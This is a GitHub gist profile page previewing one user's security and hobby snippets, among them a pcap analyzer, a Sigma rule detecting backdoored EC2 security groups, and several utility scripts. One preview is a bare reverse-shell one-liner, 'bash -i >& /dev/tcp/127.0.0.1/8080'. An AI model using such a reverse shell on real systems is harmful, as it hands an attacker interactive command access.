Skip to content

Instantly share code, notes, and snippets.

View remotephone's full-sized avatar

remotephone remotephone

View GitHub Profile
@remotephone
remotephone / pcap_analyzer.py
Last active June 30, 2023 04:16
A script mostly written with copilot to parse and process packet captures.
# Updated version for https://blog.rmtph.one/posts/CyberDefenders_EscapeRoom/
import datetime
import ipaddress
import json
import os
import socket
from collections import Counter, defaultdict
import communityid
@remotephone
remotephone / Receive
Created May 5, 2022 04:48
WWHF2022 lab code
/*
Receiver board sketch
*/
#include <RCSwitch.h>
#include "output.h"
#define LED 2
int buttonA = 952424;
@remotephone
remotephone / string_to_list.py
Created February 22, 2022 01:15
Python script to clean up some markdown files and turn a string into a list
# I had a bunch of markdown files in my blog that had a category value that was a string of words instead of a list
# I needed a way to parse and replace 40 lines that began with `categories:` at once
# This did it.
import re
import glob
# https://stackoverflow.com/questions/4568580/python-glob-multiple-filetypes
types = ('*.md')
files_grabbed = []
@remotephone
remotephone / gist:6024f564c0173fce7c67f107ffbb117c
Created November 20, 2021 20:09
detection_eng_cloudtrail_rule
title: Detects Backdooring EC2 Security Groups
status: experimental
description: Detects the insertion of backdoor access into EC2 Security Groups.
author: '@DefensiveDepth'
date: 2021/01/01
logsource:
service: cloudtrail
detection:
selection_source:
- eventSource: ec2.amazonaws.com
@remotephone
remotephone / getting_into_tech.md
Last active June 14, 2021 03:45
quick write up on getting into tech

My career path

  1. End user help desk support - 25k ~2 years
  2. Network Operations Center - ~30k - 50k ~3 years
  3. Network Operations Center (Changed Companies) - 57k ~1.5 years
  4. Joined Security team - 64k - 75k at end of ~3 years
  5. Joined different copany - 90k plus bonuses and stock
  6. Same company, more specialized role, 130k plus bonuses and stock after 4 years
  7. Same company, more specialized role, 145k plus bonuses and stock after ~4.5 years (salary adjustment)

I threw this together not knowing anything about the person I am writing for or what their level of familiarity is with any of these topics.

# Did this with macos, install tesseract with `brew install tesseract` and I used a virtual environment
# It's hit or miss for a lot of these and I'm not very good with this, but this will OCR some yara rules sometimes.
# This works really poorly on sigma rules, it doesnt preserve white space well.
# Apparently version 5 of tesseract on macos will do it, but brew currently installs 4.11 which doesn't?
# people just need to put it in a repo.
# Example to scan: https://archerint.com/what-are-yara-rules/
# most code from here https://stackoverflow.com/questions/9480013/image-processing-to-improve-tesseract-ocr-accuracy
# These are various image files I tested against, test against anything you find. Simple, clear text will work better.
#! /bin/bash
bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
# See https://github.com/vz-risk/VCDB/tree/master/data/joined
import json
import pandas as pd
from collections import Counter
with open('vcdb.json') as f:
vcdb = json.loads(f.read())
variety = []
@remotephone
remotephone / piholekiller.py
Created April 26, 2020 04:34
Now, when i push the 4th button on my pifacedigital2, it sends a web request that disables ad blocking for 5 minutes.
# idea from here https://www.reddit.com/r/pihole/comments/81z8jp/temporarily_disable_pihole_using_a_bookmarked_url/
import requests
import pifacedigitalio as p
import time
pd = p.PiFaceDigital()
def main():
auth = 'PWHASH'
@remotephone
remotephone / fix_github_https_repo.sh
Last active September 16, 2019 02:31 — forked from m14t/fix_github_https_repo.sh
Convert HTTPS github clones to use SSH
#/bin/bash
#-- Script to automate https://help.github.com/articles/why-is-git-always-asking-for-my-password
## Loop over all personal gits using
# for i in `ls -1`; do cd $i; bash ~/fix_github_https_repo.sh; cd ~/gits; echo "done"; done
REPO_URL=`git remote -v | grep -m1 '^origin' | sed -Ene's#.*(https://[^[:space:]]*).*#\1#p'`
if [ -z "$REPO_URL" ]; then
echo "-- ERROR: Could not identify Repo url."